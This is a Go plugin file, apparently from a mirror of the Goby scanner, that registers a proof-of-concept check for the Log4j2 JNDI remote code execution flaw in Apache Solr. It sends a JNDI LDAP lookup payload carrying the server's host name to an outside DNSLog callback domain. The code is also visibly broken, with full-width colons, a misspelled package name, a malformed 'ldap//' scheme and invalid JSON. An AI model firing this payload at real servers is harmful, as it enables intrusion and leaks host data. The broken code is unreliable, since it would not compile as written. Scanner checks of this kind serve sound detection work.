mirror of https://github.com/qwqdanchun/Goby.git
103 lines
3.3 KiB
Go
103 lines
3.3 KiB
Go
|
package exploits
|
|||
|
|
|
|||
|
|
import (
|
|||
|
|
//根据需求导入相应的包
|
|||
|
|
"fmt"
|
|||
|
|
"git.gobies.org/goby/goscanner/goutils"
|
|||
|
|
"git.gobies.org/goby/goscanner/jsonvul"
|
|||
|
|
"git.gobies.org/goby/goscanner/godclient"
|
|||
|
|
"git.gobies.org/goby/goscanner/scanconfig"
|
|||
|
|
"git.gobies.org/goby/httpclient"
|
|||
|
|
"strings"
|
|||
|
|
"time"
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
func init() {
|
|||
|
|
expJson := `{
|
|||
|
|
"Name": "Apache Solr Log4j2 Jndi RCE",
|
|||
|
|
"Level": "3",
|
|||
|
|
"Tags": [
|
|||
|
|
"rce"
|
|||
|
|
],
|
|||
|
|
"GobyQuery": "app=\"Solr\"",
|
|||
|
|
"Description": "Apache Log4j2被曝存在JNDI远程代码执行漏洞",
|
|||
|
|
"Product": "",
|
|||
|
|
"Homepage": "https://gobies.org/",
|
|||
|
|
"Author": "gobysec@gmail.com",
|
|||
|
|
"Impact": "",
|
|||
|
|
"Recommendation": "",
|
|||
|
|
"References": [
|
|||
|
|
"https://gobies.org/"
|
|||
|
|
],
|
|||
|
|
"HasExp": true,
|
|||
|
|
"ExpParams": null,
|
|||
|
|
"ExpTips": {
|
|||
|
|
"Type": "",
|
|||
|
|
"Content": ""
|
|||
|
|
},
|
|||
|
|
"ScanSteps": [
|
|||
|
|
"AND",
|
|||
|
|
{
|
|||
|
|
"Request": {
|
|||
|
|
"method": "GET",
|
|||
|
|
"uri": "/solr/admin/collections?action=",
|
|||
|
|
"follow_redirect": true,
|
|||
|
|
"header": {
|
|||
|
|
"User-Agent": "Mozilla/5.0(X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0"
|
|||
|
|
},
|
|||
|
|
"data_type": "text",
|
|||
|
|
"data": "",
|
|||
|
|
"set_variable": []
|
|||
|
|
},
|
|||
|
|
"ResponseTest": {
|
|||
|
|
"type": "group",
|
|||
|
|
"operation": "AND",
|
|||
|
|
"checks": [
|
|||
|
|
{
|
|||
|
|
"type": "item",
|
|||
|
|
"variable": "$code",
|
|||
|
|
"operation": "==",
|
|||
|
|
"value": "200",
|
|||
|
|
"bz": ""
|
|||
|
|
},
|
|||
|
|
{
|
|||
|
|
"type": "item",
|
|||
|
|
"variable": "$body",
|
|||
|
|
"operation": "contains",
|
|||
|
|
"value": "true",
|
|||
|
|
"bz": ""
|
|||
|
|
}
|
|||
|
|
]
|
|||
|
|
},
|
|||
|
|
"SetVariable": [
|
|||
|
|
"output|lastbody|regex|"
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
],
|
|||
|
|
"ExploitSteps": [
|
|||
|
|
"AND",
|
|||
|
|
],
|
|||
|
|
"PostTime": "2022-05-24 22:33:22",
|
|||
|
|
GobyVersion": "1.9.325"
|
|||
|
|
}`
|
|||
|
|
|
|||
|
|
ExpManager.AddExploit(NewExploit(
|
|||
|
|
goutils.GetFileName(),
|
|||
|
|
expJson,
|
|||
|
|
//自定义POC函数，通过响应bool来确认漏洞是否存在
|
|||
|
|
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
|
|||
|
|
checkStr := goutils.RandomHexString(4) //RandomHexString:随机生成指定长度的字符串
|
|||
|
|
checkUrl, isDomain := godclient.GetGodCheckURL(checkStr) //GetGodCheckURl:生成DNSLog地址
|
|||
|
|
uri ：= "/solr/admin/collections?action=$%7Bjndi:ldap//$%7BhostName%7D." + checkUrl + "/a%7D" //拼接payload
|
|||
|
|
cfg ：= httpclient.NewGetRequestConfig(uri) //NewGetRequestConfig:构建GET请求自定义配置，返回RequestConfig
|
|||
|
|
cfg.VerifyTls = false //忽略ssl验证
|
|||
|
|
cfg.FollowRedirect = false //不跟随跳转
|
|||
|
|
cfg.Header.Store("Content-type", "application/x-www.form-urlencoded") //自定义请求头
|
|||
|
|
httpclient.DoHttpRequest(u, cfg) //DoHttpRequest:构建自定义请求配置，发送请求，返回请求结果HttpRespnse
|
|||
|
|
return godclent.PullExists(checkStr, time.Second*15) //在一段时间内检测是否有HTTP请求成功，如果请求成功返回true，否则返回false
|
|||
|
|
},
|
|||
|
|
|
|||
|
|
nil, //自定义EXP函数, 没有EXP，就写nil,
|
|||
|
|
))
|
|||
|
|
}
|